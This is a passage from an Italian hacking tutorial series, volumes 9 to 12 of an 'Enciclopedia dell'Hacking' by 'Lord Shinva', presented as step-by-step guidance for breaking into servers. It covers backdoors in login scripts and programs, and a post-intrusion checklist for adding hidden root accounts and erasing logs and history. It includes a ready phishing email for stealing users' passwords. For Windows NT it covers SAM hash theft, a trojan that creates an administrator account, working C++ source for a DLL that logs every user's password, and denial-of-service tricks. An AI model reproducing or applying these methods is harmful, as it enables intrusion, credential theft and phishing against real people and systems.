Un altro metodo ancora e` aggiungere un comando a uno dei file script di uno o piu` utenti. Ma cos'e` un file script? Non e` altro che un file di testo contenente una lista di comandi da eseguire (come i file .BAT del DOS). Quindi se aggiungiamo un comando esso sara` eseguito proprio come gli altri.

Gli script sono .login e .logout (che vengono avviati rispettivamente quando

un utente si collega o si scollega), ma anche .profile e .cshrc e gli altri
che iniziano con un punto in una directory utente.
Aggiungendo ad esempio la riga seguente:

```
if /tmp/programma exists run /tmp/programma
```

lo script verifichera` se il file /tmp/programma esiste e in caso affermativo
lo eseguira`. Questo metodo e` quindi l'ideale per eseguire un comando,
come ad esempio la shell, oppure per un troiano o una backdoor.

Ma cos'e` un troiano? E una backdoor?

Un troiano (detto anche Trojan Horse) e` un programma che fa qualcosa di cui
chi lo esegue e` ignaro. In genere sono concepiti per far danni, o attivare
altri programmi.

Una backdoor, invece, e` un programma che normalmente e` presente sul sistema
(ad esempio "login", oppure i comandi presenti nella directory /bin), ma che
e` stato modificato dall'hacker per fare qualcosa di preciso.
Quasi sempre questo "qualcosa" e` accedere alla shell di root o eseguire uno
o piu` programmi.
L'utilita` di una backdoor e` che anche se un SysAdmin cambia la password di
root, o comunque vi impedisce di usare la shell, voi avete sempre questo
"passaggio segreto" per entrare nel sistema a sua insaputa, e senza lasciar
traccia.

Per chi conosce gia` un po` di C, diremo che una backdoor, nel caso piu`
semplice, non e` altro che qualcosa del tipo:

```
system('/bin/cp /bin/sh /tmp/usami');
```

(esegue i comandi tra virgolette, in questo caso copia la shell in tmp)
inserita in un punto di un qualsiasi programma. Un'ulteriore passo e`
fare in modo che solo chi conosce della backdoor possa farla entrare in
funzione. Ad esempio, se la backdoor e` stata inserita nel programma "login"
potremmo fare in modo che se si avvia login in questo modo:

```
login Lord_Shinva
```

anziche` eseguire il codice originale di login verra` eseguita la backdoor,
altrimenti verra` eseguito il codice normalmente. Nient'altro che un
semplice "if/then/else" come nella seguente pseudo-codifica:

```
if (strcmp(argv[1],"Lord_Shinva") {
   ...codice della backdoor...
```

```
}
else {
   ...codice di login...
}
```

In genere pero` creare una backdoor e` molto piu` complicato che creare un troiano, poiche` mentre quest'ultimo e` un semplice programmino in C che esegue un paio di chiamate system() per eseguire dei comandi, una backdoor deve comportarsi proprio come il programma originale di cui ha preso il posto e quindi e` necessario avere il sorgente (listato) del programma originale. Cio` non e` impossibile, ma richiede gia` una certa bravura con il C e con Unix, e bisogna sapere dove cercare.

Ma vi assicuro che col tempo, se avrete costanza nello studiare e mettere in pratica, creare una backdoor non sara` niente di complicato, una volta reperito il listato del programma da sostituire (potreste addirittura farlo interamente da soli, se si tratta di un programmino come LS).

Nei prossimi volumi impareremo tutto quello che c'e` da sapere per avere un controllo piu` completo del sistema che vogliamo hackerare. Spiegheremo inoltre diversi aspetti di Unix che normalmente sono lasciati ai SysAdmin e agli utenti piu` esperti... e che quindi ci interessano per poter degnamente competere con essi e sapere sempre come destreggiarsi in ogni situazione.

Ovviamente non potremo spiegare tutto nel prossimo volume, quindi dovremo spezzare le lezioni in paragrafi.

VAIL AL VOLUME 10

Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
Enciclopedia dell' Hacking
Volume 10

VIRTUOSISMI TECNICI: PARTE 1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Supponiamo di aver finalmente hackerato un server e di avere username e password di un utente. E ora cosa facciamo? Ci limitiamo a leggere la sua posta, a collegarci via Telnet dal suo account e cose del genere? Certamente no...

I passi principali nell'hackerare un server consistono nel fare quanto segue:

- prendere tutte le precauzioni prima di collegarsi: preferibilmente usare l'account di qualcun altro (un utente di cui abbiamo crackato la password) e/o usare un account Telnet su una BBS, utilizzare il "bounce" e cosi` via

- scegliere un server (di tipo Unix, in questo caso) e crackarne le password individuando la locazione del file, se le password sono shadow o meno, ecc

- collegarsi con l'account crackato di uno degli utenti di quel server

- utilizzare i comandi "who" e "ps -u vostro_user_name" per vedere chi e` on-line e cosa sta facendo (se il SysAdmin e` in giro, sara` meglio lasciar perdere e collegarsi piu` tardi, meglio se di notte o la mattina molto presto)

- digitare "unset HISTFILE" per far si` che il file "history" (dove vengono annotate tutte le operazioni che svolgiamo!) venga eliminato non appena lasceremo il sistema

- inviare, compilare e usare un programma per nasconderci dal log di utmp

- controllare con il comando "who" se "si vede" che siamo in linea

- se non si e` riusciti a crackare la password di root, usare un exploit per ottenere accesso root, in modo da poter eseguire comandi nella shell

- OPZIONALE: crearsi un nuovo account su quel server, utilizzando un nome
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

poco vistoso (dare un'occhiata al file delle password per uniformarvi
agli altri in modo da non far saltare all'occhio il vostro nuovo account)

- installare una backdoor (se si e` in grado di farlo), oppure copiare la
shell root /bin/sh in qualche directory "sperduta" sotto falso nome e
cambiarne il livello d'accesso con chmod, in modo da poter usare la shell
di root anche quando si accede al sistema con l'account di un utente
qualsiasi (e quindi senza privilegi); se si e` creato un nuovo account
(vedi sopra) potremo mettere la shell "segreta" nella nostra directory
utente, in modo che nessun altro la noti e possa usarla all'infuori di
noi (un buon posto e` la directory .term nella directory /users oppure
/home/users o comunque dove si trovano le directory degli utenti).
Si puo` anche aggiungere un account al file delle password, in modo da
utilizzare la shell root quando ci servira`, utilizzando semplicemente
Telnet: usando PHF con il comando "echo stringa >> /etc/passwd" oppure
editando direttamente il file delle password si aggiunga...
nomequalsiasi::numeroutente:numerogruppo:/:/bin/sh
oppure qualcosa di meno vistoso, come un finto "account di sistema" del
tipo...
spoolsys::13:12:system:/var/spool/:/bin/sh
(ovviamente si potra` anche utilizzare una password tra i due :: se non
si vuole consentire a qualcun altro di accedere a questo account)

- IMPORTANTISSIMO: cancellare tutte le tracce prima di lasciare il server
e in particolare...

  - tutto quello che viene registrato riguardo al vostro server (host name,
  IP Address, date e orari) nei files di log in /var/log e /var/adm

  - eliminare sempre il file di history del vostro account (.bash_history),
  e per evitare che venga creato di nuovo lo si setti a null con il
  comando "ln -s /dev/null .bash_history"

  - eliminare il file xferlog contenente il log dei trasferimenti di file
  (se ne sono fatti)

Ora, quando vorremo collegarci di nuovo per utilizzare la shell root, non
dovremo fare che collegarci con l'account di un utente qualsiasi e poi, in
base a quello che abbiamo fatto prima, utilizzare la backdoor per accedere a
root, oppure usare la shell "segreta" che abbiamo installato.

Tutto questo andra` fatto solo la prima volta, cioe` quando hackeriamo il
server. Cio` ci consentira` di non far notare un'attivita` hacker su quel
server, cosicche` il nostro account (e soprattutto la shell root ;) durera`
piu` a lungo... anche per moltissimo tempo, se il SysAdmin non sta attento a

quel che accade nel suo sistema.

NOTA IMPORTANTE: se non siete ancora in grado di nascondere le vostre tracce
come descritto sopra, avrete bisogno di tempo per imparare, percio` NON
tentate di hackerare un server. Usate Linux (che spero vi sarete finalmente
installati ;) e provate, usando il comando "man nome_comando" ogniqualvolta
non capite il funzionamento di un particolare comando.
Sperimentate sempre prima in modalita` locale (sul vostro computer), se ne
avete la possibilita`.

Quando dovete analizzare il contenuto di un file di log alla ricerca di
informazioni da cancellare (come il vostro IP Address o l'host name del
vostro provider) potete utilizzare "grep" (un comando Unix per cercare una
stringa di testo in un file) come in questo esempio:

```
cd /var/log
grep hackers.com *
```

in questo caso cercheremo l'host name "hackers.com" in tutti (*) i file della
directory /var/log (ma anche /var/adm).
Se l'output (i risultati della ricerca) e` troppo lungo per essere contenuto
in una pagina, bastera` aggiungere il piping al comando "more", cosi`:

```
grep hackers.com * | more
```

e potremo comodamente scorrere in alto e in basso la nostra lista.

Se ad esempio troverete qualcosa del genere:

nome_file_log data orario nome_software_server nome_del_vostro_provider.com
altro_file_log data orario nome_software_server nome_del_vostro_provider.com
....

saprete che i file nome_file_log e altro_file_log stanno "registrando" cose
che non vorreste proprio far sapere al SysAdmin!

Come fregarli? E` presto detto... :)

Esiste un file, chiamato syslog.conf (configurazione log di sistema) che si
trova nella directory /etc
Il suo compito e` "dire" al sistema cosa loggare (registrare in file di log)
e dove mettere i log (un altro file interessante e` /etc/login.defs dove
e` possibile abilitare/disabilitare il logging delle operazioni effettuate
con file ad accesso root).

Ci bastera` quindi editare il file /etc/syslog.conf e cancellare i file "scomodi"... ma non solo. Affinche` i cambiamenti apportati abbiano effetto, dovremo riavviare il programma syslogd, o piu` precisamente il suo processo (le operazioni che svolge in background).

Ma prima di riavviare il processo dovremo disattivalo. Per farlo, useremo il comando "kill" (uccidi), in questo modo: digitiamo "ps -x" per vedere a quale numero di processo e` associato syslogd. Il primo numero sulla sinistra sara` quello che ci interessa: in pratica, e` come un numero di indentificazione che varia da processo a processo.

Digitiamo ora "kill -HUP numero_di_processo" e syslogd verra` disattivato e subito riavviato. Abbiamo ora ottenuto quello che volevamo: niente piu` "spie" che possano aiutare il SysAdmin ad identificarci.

NOTA: in Unix le maiuscole e le minuscole sono fondamentali. Attenetevi sempre alle mie istruzioni e tenete presente che i comandi sono quasi sempre in minuscolo, mentre le opzioni cambiano effetto a seconda che siano maiuscole o minuscole.

(continua nel prossimo volume)

:: LoRD SHiNVA ::

-Digital Alliance Confederation-

VAI AL VOLUME 11

Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
Enciclopedia dell' Hacking
Volume 11

SOCIAL ENGINEERING
~~~~~~~~~~~~~~~~~~
Social Engineering, ovvero Ingegneria Sociale... cos'e`?

E` il metodo piu` semplice ed efficace per ottenere informazioni che
altrimenti non sapreste dove trovare, come ad esempio la password di un
utente, o addirittura i suoi dati personali (indirizzo, telefono, ecc).

Sono solo esempi, ma con un po` di fantasia e fortuna potete fare davvero di
tutto. Non si tratta, nel caso ve lo stiate chiedendo, di tecniche come
quelle che abbiamo visto fino ad ora: niente Telnet, niente file di log,
solo voi e la vostra intelligenza.

Ma procediamo per ordine.

Fare del "Social Engineering" significa far credere di essere qualcun altro
allo scopo di ottenere qualcosa.
Immaginate di andare dalla segretaria di Bill Gates a chiederle di versare
sul vostro conto un paio di milioni. Al massimo vi ridera` in faccia... :)
Ma se invece fosse lui, il "caro" Bill, a telefonare alla sua segretaria da
una riunione d'affari e dirle di sbrigare un attimino una faccenda urgente
per conto suo.... ho reso l'idea? ;)

Beh, normalmente ci si limita ad utilizzare il Social Engineering per
ottenere password e dati personali, ma l'uso e` lasciato a voi.

Si puo` fare S.E. (Social Engineering) per telefono o via modem (e Internet).

Le regole sono semplici:

 - dovete agire "professionalmente" ed essere credibili
 - dovete informarvi sull'argomento che state per affrontare

e, se utilizzerete il telefono:

 - dovete essere sicuri di voi stessi e di quello che dite
~~~~~~~~~~~~~~~~~~

- dovete avere una voce credibile, che non sia cioe` quella di un ragazzo
  che vuole sfottere un po` per telefono...

Per quelli che tra voi stanno pensando che il S.E. non funziona: vi basti
sapere che praticamente tutti gli hackers piu` conosciuti utilizzano proprio
il S.E. per ottenere le informazioni di cui hanno bisogno.
E` l'unica "tecnica" che, se fatta come si deve, non fallisce e non diventa
obsoleta con il passare del tempo.

Ma ora veniamo alla pratica.

Supponiamo ad esempio di voler ottenere la password di un utente (sia essa la
password del suo account Internet oppure quella della sua mailbox).

In quale caso potremmo chiedere a un utente la sua password?

Probabilmente, nel caso in cui fossimo il SysAdmin (o un tecnico del servizio
utenti) del suo provider.

In questo caso, non dovremo fare altro che crearci un account di email su
usa.net mailexcite.com che possa sembrare l'indirizzo email di un tecnico
del provider, come ad esempio servizio_utenti@usa.net o altro.

Meglio ancora, se avete un account di posta elettronica potete usare iNAME
(http://yahoo.iname.com) per creare un account email "virtuale". Potrete
cioe` crearvi un account come ad esempio servizio_tecnico@fastservice.com
(che e` MOLTO piu` credibile di pippo@hotmail.com) e tutta la posta che
verra` inviata a quell'account sara` ridirottata anonimamente sul vostro
account normale.
Potrete scegliere tra vari nomi di server, e cio` torna a vostro favore.
Se state fingendo di essere del servizio tecnico o help utenti di un provider
scegliete qualityservice.com, topservice.com, oppure cyberservices.com.

Ora viene il bello. Supponiamo di voler ottenere una password di un server
senza allarmare il SysAdmin tentando di prelevare il file delle password :)

Cio` che vi serve e` l'indirizzo di email di un utente qualsiasi di QUEL
server. Come trovarlo: se il server ha una messaggistica, un forum dove
gli utenti possono chiacchierare... vedete li`.
Altrimenti non scoraggiatevi: collegatevi a http://www.whowhere.com oppure a
http://www.four11.com e cercate il server che vi interessa.
Avrete una lista di tutte le email che vi possono interessare, complete di
nome e cognome che vi torneranno certamente utili.
Oppure potete usare finger, se e` abilitato... facendo "finger @server.com"
avrete la lista di tutti gli utenti presenti su quel sistema.

Come vedete, ci sono molti modi per ottenere la stessa cosa.

Fate MOLTA ATTENZIONE a non scrivere all'indirizzo del SysAdmin, del Webmaster o di uno dei responsabili o dei tecnici del server!

Trovata la "cavia" ora dovete scrivergli un messaggio di questo tipo:

--->

Da: Servizio_Tecnico@TopService.com
A: utente@provider.it
Soggetto:

Gentile Utente,

per offrirLe un miglior servizio abbiamo aggiornato il server software del ns. Internet Provider. Per problemi tecnici non ci e` stato possibile importare il database Utenti, motivo per cui La preghiamo di volerci comunicare al piu` presto il suo username e la sua password, scrivendo al nostro indirizzo email: Servizio_Tecnico@TopService.com

La ringraziamo per la cortese attenzione.

Cordiali saluti

Dr. Antonio Brambilla
Resp. Servizio Tecnico
XXXX Internet Provider
Via ....
Tel/Fax ....

<---

Poche righe, insomma, ma ben scritte.
E per rendere piu` convincente il tutto, aggiungete anche informazioni come indirizzo (vero) e nomi e cognomi (falsi), telefono e fax (falsi), ecc...

Vi meraviglierete di come talvolta anche le societa` che si appoggiano ai provider per l'accesso a Internet cascano in questi trucchi.

NOTA: in alcuni casi puo` essere utile utilizzare la tecnica delle FakeMail per inviare un "ordine di servizio" a qualcuno da parte di una persona (un

dirigente, ad esempio) di cui si conosca pero` l'indirizzo di email.
Ricordate pero` che, in caso di risposta, l'email andra` all'indirizzo falso
che avremo utilizzato (cioe` quello del dirigente!).

Se avessimo invece voluto fare qualcosa di piu` complicato, come ottenere un
qualche tipo di informazioni piu` o meno riservate da una grande azienda,
avremmo dovuto utilizzare (preferibilmente) il telefono. Avere prontezza
di riflessi, sicurezza e una voce "adatta allo scopo" in tal caso sara`
indispensabile se non si vuole mandare tutto a monte.

Nel caso di personale particolarmente attento (raro...), del tipo che vuole
chiedere prima un'autorizzazione al capo e roba del genere, e` utile far
capire di avere altri affari da sbrigare, di essere seccati dall'inettitudine
di quell'impiegato e roba del genere... perdere la pazienza, insomma, senza
essere ne` patetici ne` isterici.

Il resto e` lasciato a voi.

:: LoRD SHiNVA ::

-Digital Alliance Confederation-

VAI AL VOLUME 12

Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
Enciclopedia dell' Hacking
Volume 12

HACKING AVANZATO DI WINDOWS NT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dal momento che ci stiamo accingendo ad esplorare Windows NT, mi aspetto che
conosciate gia` il funzionamento dei Registry di Windows, in quanto una loro
trattazione esula dall'hacking ed e` comunque reperibile sia in libreria che
su Internet.

Mi limitero` quindi a ricordare solo le basi della sicurezza in Windows NT:

LSA (Local Security Authority, ovvero Autorit… di Sicurezza Locale)
E` conosciuto anche con il nome di Security Subsystem (Sottosistema di
Sicurezza). E` il componente centrale della sicurezza NT ed Š preposto
all'autenticazione degli utenti e all'audit (logging).

SAM (Security Account Manager, ovvero Manager di Sicurezza degli Account)
Fornisce autenticazione al LSA e controlla i gli account per gruppi e utenti.

SRM (Security Reference Monitor, ovvero Monitor della Referenza di Sicurezza)
Controlla gli account ogniqualvolta un utente cerca di accedere a un file o
directory e gli da o nega il permesso in base ai suoi privilegi d'accesso, e
comunica le infrazioni al LSA tramite messaggi di audit.

UI (User Interface, ovvero Interfaccia Utente)
E` in pratica quello che l'utente vede, cioe` l'interfaccia con la quale egli
interagisce e che comunica in modo invisibile con gli elementi appena visti.

ACL (Access Control List, ovvero Lista di Controllo dell'Accesso)
Ogni utente ha una ACL che rappresenta i suoi permessi e privilegi in fatto
di directory, file, ecc.

L'autenticazione degli utenti funziona nel modo seguente: l'utente effettua
il login, NT crea un token che rappresenta quell'utente e associa al token i
privilegi che trova nella sua ACL, e agisce in base ad essi.

Procederemo ora per quesiti, in modo da rendere piu` agevole la lettura.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

QUESITO 1: Quali sono i permessi di default?

Questi sono i permessi per gli utenti di default:

- Server Operators: spegnimento, anche da remoto; reset dell'orologio di sistema; backup e restore.
- Backup Operators: spegnimento; backup e restore.
- Account Operators: spegnimento.
- Print Operators: spegnimento.

Questi sono i permessi per le directory di Windows NT:

\(root), \SYSTEM32, \WIN32APP
Server Operator e Everyone possono leggere ed eseguire file, mostrare i permessi e cambiare gli attributi dei file.

\SYSTEM32\CONFIG
Everyone puo` effettuare una DIR in questa directory.

\SYSTEM32\DRIVERS, \SYSTEM\REPL
Server Operator ha accesso completo. Everyone ha solo accesso in lettura.

\SYSTEM32\SPOOL
Server Operator e Print Operator hanno accesso completo. Everyone ha solo accesso in lettura.

\SYSTEM32\REPL\EXPORT
Server Operator puo` leggere ed eseguire file, permessi e attributi.
Replicator ha solo accesso in lettura.

\SYSTEM32\REPL\IMPORT
Server Operator e Replicator possono leggere ed eseguire file, permessi e attributi. Everyone ha accesso in lettura.

\USERS
Account Operator puo` leggere, scrivere, cancellare ed eseguire file.
Everyone puo` effettuare una DIR.

\USERS\DEFAULT
Everyone pu• leggere, scrivere ed eseguire file.

QUESITO 2: Qual'e` l'account pi— interessante?

Sicuramente l'account dell'amministratore (SysAdmin), ma potrebbe essere
stato rinominato... in tal caso, basta eseguire "NBTSTAT -A ipaddress" per
conoscere il nuovo nome dell'account e opzionalmente anche un elenco completo
di quali servizi sono in funzione, il nodename e l'eventuale indirizzo
hardware dell'ethernet (in caso di LAN).

QUESITO 3: Dove si trovano le password in Windows NT?

Da nessuna parte. Windows NT (come anche UNIX) non immagazzina le password,
ma bensi` un hash (valore numerico calcolato in base alla password, dal quale
non si puo` risalire alla stringa originale, in quanto e` solo un numero).

Per crackare gli hash si puo` utilizzare il programma PWDUMP (lo potete
trovare sui siti hacker) e comunque si tratta di un attacco basato su
dizionari, quindi di tipo "brute force" (forza bruta).

Quindi, dicevamo, la domanda giusta sarebbe: "dov'e` l'elenco degli hash?"

La risposta e`: nella directory \WINNT\SYSTEM32\CONFIG c'e` un file chiamato
SAM. E` questo il database che cerchiamo. E` leggibile da tutti gli utenti
(a meno che quel simpaticone del SysAdmin non ci abbia messo lo zampino), ma
comunque non si puo` leggere in quanto bloccato (via sharing) perche` e` in
uso dai componenti di sistema di NT. A questo punto il SysAdmin giubila ed
esulta, ma l'hacker sa dell'esistenza di SAM.SAV che Š il backup di SAM...

Inoltre, durante l'installazione di NT, una copia del SAM viene posta in
\WINNT\REPAIR. Quasi sicuramente troveremo solo gli account Administrator e
Guest, ma credo che Administrator (SysAdmin) sia abbastanza...

A proposito del SAM... se siete completamente pazzi potete anche mettere le vostre manacce nelle keys del SAM. Per esempio, schedulando il servizio di logon come LocalSystem e permettendogli di interagire con il desktop, e poi schedulando una sessione interattiva di regedt32.exe (come LocalSystem) con il quale manipolare le keys. Ovviamente se non sapete a cosa serve tutto questo sar… meglio non toccare niente, altrimenti saranno guai grossi...

QUESITO 4: Come accedere al file system se e` di tipo NTFS anziche` FAT ?

Se siete vicini alla macchina (cioe` in locale), effettuate un boot tramite
un dischetto MS-DOS ed eseguite NTFSDOS.EXE per accedere al NTFS. Oppure
potete utilizzare il dischetto di boot di Linux... in pratica basta
semplicemente eseguire Linux. Pu• sembrare strano, ma cio` vi dara` accesso
totale al file system in quanto Linux puo` leggere NTFS.

QUESITO 5: Sono vicino alla console locale, come accedo alle informazioni
degli altri computer?

Se il computer sul quale vi trovate e` un domain controller (oppure se e` collegato al computer) bastera` fare quanto segue:

1. Da USER MANAGER, create una trusting relationship (rapporto di fiducia) con l'obiettivo.
2. Inserite la password (quello che volete). Sembrera` non funzionare, ma l'obiettivo sar… ora nella vostra trusting list.
3. Avviate NT Explorer e cliccate col tasto destro del mouse su qualsiasi cartella.
4. Selezionate SHARING (condivisione).
5. Dalla finestra SHARED, selezionate ADD ("aggiungi", se NT Š in italiano).
6. Dal menu ADD, selezionate il vostro obiettivo (il server "vittima").
7. Ora vedrete l'intera lista dei gruppi dell'obiettivo.
8. Selezionate SHOW USERS e vedrete l'intera lista utenti, completa di nomi dei file, directory e descrizioni...

QUESITO 6: Ho accesso Administrator, come accedere alla lista degli utenti?

Ah ci siete riusciti, bene bene... ;) Usate questo metodo:

- Eseguite NBTSTAT -A ipaddress
- Aggiungete il nome che otterrete al file LMHOSTS
- Se la versione di NT Š inferiore alla 4, digitate NBTSTAT -R per effettuare il refresh dei nomi del NetBios
- Eseguite NET VIEW \\nomemacchina per vedere gli shares ("condivisioni")
- Eseguite DIR \\nomemacchina\share per listare gli shares (se aperti)
- Eseguite NET VIEW \\ipaddress oppure NET VIEW \\nome.completo.com se usate Windows NT 4.0

QUESITO 7: Ho accesso Guest... come faccio ad avere accesso Administrator?

NT 3.51 ha varie directory (e file) leggibili e scrivibili da tutti gli utenti per default. Potete editare le associazioni tra un'applicazione e i file dati, usando REGEDT32.EXE, ma prima dovete creare (e compilare) un'applicazione per Win32 (magari in Delphi o C++ a 32-bit) che si limiti ad eseguire i seguenti comandi e nient'altro:

```
net user administrator hacker /y
notepad %1 %2 %3 %4 %5
```

Inviate (tramite upload) questa "applicazione" in una share (directory di condivisione) a cui avete accesso e cambiate l'associazione tra i file .txt e notepad in modo che punti alla locazione completa del vostro file (ad esempio \\NomeWorkstation\RWShare\hahaha.exe).

Non appena un file di testo verra` visualizzato da qualcuno sul server, quell'associazione verra` eseguita e sara` attivato l'user Administrator con password "hacker", alla faccia del SysAdmin...

Per questo motivo, se io fossi il SysAdmin eliminerei il permesso Everyone dalla chiave HKEY_CLASSES_ROOT dei registry, dando l'accesso completo solo a Creator e Owner.

QUESITO 8: La SYSTEM32 nella directory di sistema di NT Š scrivibile, cosa
 si potrebbe fare?

Se il sistema e` un Windows NT versione 4.0 la risposta e`: molte cose... :)
Basta creare un troiano sotto forma di DLL e rinominarlo FPNWCLNT.DLL e quindi metterlo in quella directory. Ad esempio, utilizzando questo troiano scritto in C++ troverete nella directory \TEMP del server tutti gli username e password di tutti gli utenti che accedono al sistema...

```
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

struct UNI_STRING {
  USHORT len;
  USHORT maxlen;
  WCHAR *buff;
  };

static HANDLE fh;

BOOLEAN __stdcall InitializeChangeNotify ()
{
  DWORD wrote;
  fh = CreateFile("C:\\temp\\shinva.txt", GENERIC_WRITE,
    FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
    0);
  WriteFile(fh, "Procedura InitializeChangeNotify avviata\n", 31, &wrote, 0);
  return TRUE;
}

LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid,
  struct UNI_STRING *passwd)
{
  DWORD wrote;
```

```
 WCHAR wbuf[200];
 char buf[512];
 char buf1[200];
 DWORD len;

 memcpy(wbuf, user->buff, user->len);
 len = user->len/sizeof(WCHAR);
 wbuf[len] = 0;
 wcstombs(buf1, wbuf, 199);
 sprintf(buf, "User = %s : ", buf1);
 WriteFile(fh, buf, strlen(buf), &wrote, 0);

 memcpy(wbuf, passwd->buff, passwd->len);
 len = passwd->len/sizeof(WCHAR);
 wbuf[len] = 0;
 wcstombs(buf1, wbuf, 199);
 sprintf(buf, "Password = %s : ", buf1);
 WriteFile(fh, buf, strlen(buf), &wrote, 0);
 sprintf(buf, "RID = %x\n", rid);
 WriteFile(fh, buf, strlen(buf), &wrote, 0);
 return 0L;
}
```

Quando analizzate il vostro "log file" controllate se ci sono username con
SID pari a -500 (SysAdmin). Guest ha SID pari a -501.
Ovviamente bisognera` riavviare il server dopo aver inviato la DLL, per
farla attivare.

QUESITO 9: Mi trovo con la schermata di login di NT (quella che esce premendo
CTRL-ALT-DEL), come faccio per bypassarla?

Ecco qui di seguito spiegata la procedura per liberarsi dello screen-saver
(funziona solo con NT inferiore alla versione 4.0).

Basta entrare come Administrator e verra` mostrato lo schermo del desktop per
alcuni secondi. Utilizzando il mouse (prima che lo schermo desktop non sia
piu` accessibile) si possono effettuare modifiche, spostamenti, ecc.
Se cio` non dovesse accadere perche` e` stato installato il Service Pack
(sulla 3.x) c'e` ancora una speranza: bisognera` andare su un'altra
workstation e digitare "shutdown \\nomecomputer /t:30" in modo che venga
attivato uno shutdown (spegnimento) entro 30 secondi sul computer "vittima"
e appaia una Security Window. A questo punto si potra` digitare il comando
"shutdown \\nomecomputer /a" in modo che lo shutdown venga annullato.
Andando sul computer "vittima" e muovendo il mouse lo schermo si cancellera`
e potremo premere CTRL-ALT-DEL per far apparire di nuovo la Security Window.

Si scelga "cancel" e si avra` immediatamente accesso al Program Manager!

QUESITO 10: Come faccio a sapere da remoto se si tratta di NT o 95 ?

In genere e` usanza dei Webmaster scrivere nelle pagine Web "Noi usiamo
Windows NT" o qualcosa del genere, ma nella maggioranza dei casi ci
limiteremo a controllare che la porta 135 sia aperta (tramite un port
scanner o una semplice connessione via Telnet).
A questo punto bastera` dare un'occhiata ai registry: se
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT esiste, saremo sicuri che non
si tratti di Windows 95.
Infine, uno sguardo alla key \CurrentVersion\CurrentVersion ci permettera` di
capire di quale versione si tratta.
In alternativa, si puo` controllare l'esistenza delle porte del NetBios (137
e 139) e dei servizi SMB.

QUESITO 11: Come faccio ad utilizzare il modo di trasferimento passivo sul
server FTP se non e` attivo?

Se il server FTP utilizzato e` quello di default (Microsoft), bastera`
editare una key dei registry di Windows NT:

System\CurrentControlSet\Services\MSFTPSVC\Parameters
chiave: EnablePortAttack,REG_DWORD

e abilitarla settandola a 1.

QUESITO 12: Come trashare un sistema che utilizza NT ?

Se lasciamo perdere i metodi "tradizionali" (lavorando sui file), eccone
alcuni "alternativi" da far gustare al SysAdmin...

Aprendo una connessione Telnet alla porta 53 del server e digitando una
decina di caratteri a caso seguiti da invio, bloccheremo il DNS del server
fino al riavvio del sistema... niente piu` host name, solo IP address!

Oppure magari vogliamo trasformare il suo Pentium II 233 Mhz in uno 8086 8
Mhz? Niente di piu` facile, basta collegarsi via Telnet (come sopra) alla
porta 135. Se la porta risponde, facendo come nel caso del DNS, avremo
rallentato del 100% la velocit… della CPU...

E se poi il SysAdmin utilizza IIS Microsoft come Web server, una connessione
alla porta 1031 gli fara` passare la voglia di usare i programmi di Bill
Gates. Oppure possiamo collegarci alla porta 80 e inviare "GET ../.." per
crashare il tutto...

Per causare un riavvio improvviso del sistema o un crash (solo con NT inferiore alla versione 4.0 e NT senza Hotfix) si puo` utilizzare una tecnica conosciuta con il nome di "Ping of Death". Si tratta di inviare un pacchetto ICMP enorme. Ecco cosa succedera`: il server ricevera` il pacchetto in forma frammentata, quindi sotto forma di moltissimi piccoli pacchetti. Quando tentera` di riassemblarli, si avr… un buffer overflow e potranno accadere le cose piu` disparate. Da Windows 95 e Windows NT basta digitare:

```
ping -165527 -s 1 nomevittima
```

L'attacco del SYN flood (o del FIN flood) implica un invio di una quantita` enorme di pacchetti forgiati con un IP address sorgente non esistente. Windows NT e` vulnerabile fino alla versione 4.0 senza Hotfix.

Infine, ad un piu` alto livello, inviando ad un server NT 4.0 un semplice pacchetto DNS di risposta (senza che il server lo abbia richiesto), DNS crashera`.

Con il comando smbmount su Linux 2.0.28+ si puo` inoltre causare un crash con errore di protezione su un server, eseguendo il comando:

```
smbmount //vittima/servizio /mnt -U nomeclient
```

Se il file ROLLBACK.EXE e` presente sul server (o se ce lo mettiamo noi...) possiamo eseguirlo e goderci lo spettacolo: i Registry verranno completamente azzerati. Inoltre, se blocchiamo una porta (ad esempio la 19, detta chargen) il server eseguira` automaticamente ROLLBACK per cercare di risolvere il problema...

Per chi poi conosce a fondo hacking e spoofing, la cosa piu` divertente resta la forgiatura dei pacchetti DNS (di tipo UDP).
Effettuando una richiesta DNS e utilizzando uno sniffer per intercettare i pacchetti di risposta e catturare i numeri ID di riposta DNS e` possibile inviare falsi pacchetti DNS a un server in modo che chiunque chieda il suo IP address la risposta sia quella che desideriamo. In pratica, chiunque si colleghera` a quel server si colleghera` in pratica al server che vogliamo noi, dato dall'IP address che abbiamo inviato nel pacchetto "forgiato".

Con questo metodo, applicato ad altri servizi, e` possibile fare copie di tutte le email che transitano sul sistema, inibire l'accesso ai servizi, re-routing, e molto altro ancora.

QUESITO 13: Come impedire a chiunque, anche al SysAdmin, di accedere a uno o piu` file?

Ad esempio con questo programmino in C si puo` bloccare un file per quanto tempo si desidera, passando (al programma) il nome del file da bloccare:

```
#include <windows.h>
   void main(int ac, char *av[])
   {
     HANDLE fp;
     fp = CreateFile(av[1], FILE_READ_DATA, 0, 0, OPEN_EXISTING, 0, 0);
     if (fp == INVALID_HANDLE_VALUE)
       exit(GetLastError());
     Sleep(60000)     {  tempo di bloccaggio espresso in: secondi * 1000  }
     exit(0);
   }
```

A che puo` servire bloccare un file? Beh, ad esempio, se blocchiamo un file di log per un'ora e hackeriamo il server per un'ora, il SysAdmin non ne sapra` mai niente...

QUESITO 14: Cos'altro si puo` fare con i Registry?

Troppo lungo da spiegare... come dico sempre, basta usare la fantasia... Comunque ci sono un paio di cosette ancora. Ad esempio, per effettuare il logging del PPP basta selezionare...

```
HKEY_LOCAL_MACHINE\CurrentControlSet\Services\RasMan\PPP
    valore = Logging
    valore = REG_DWORD
   valore = 1  (settare questo valore)
```

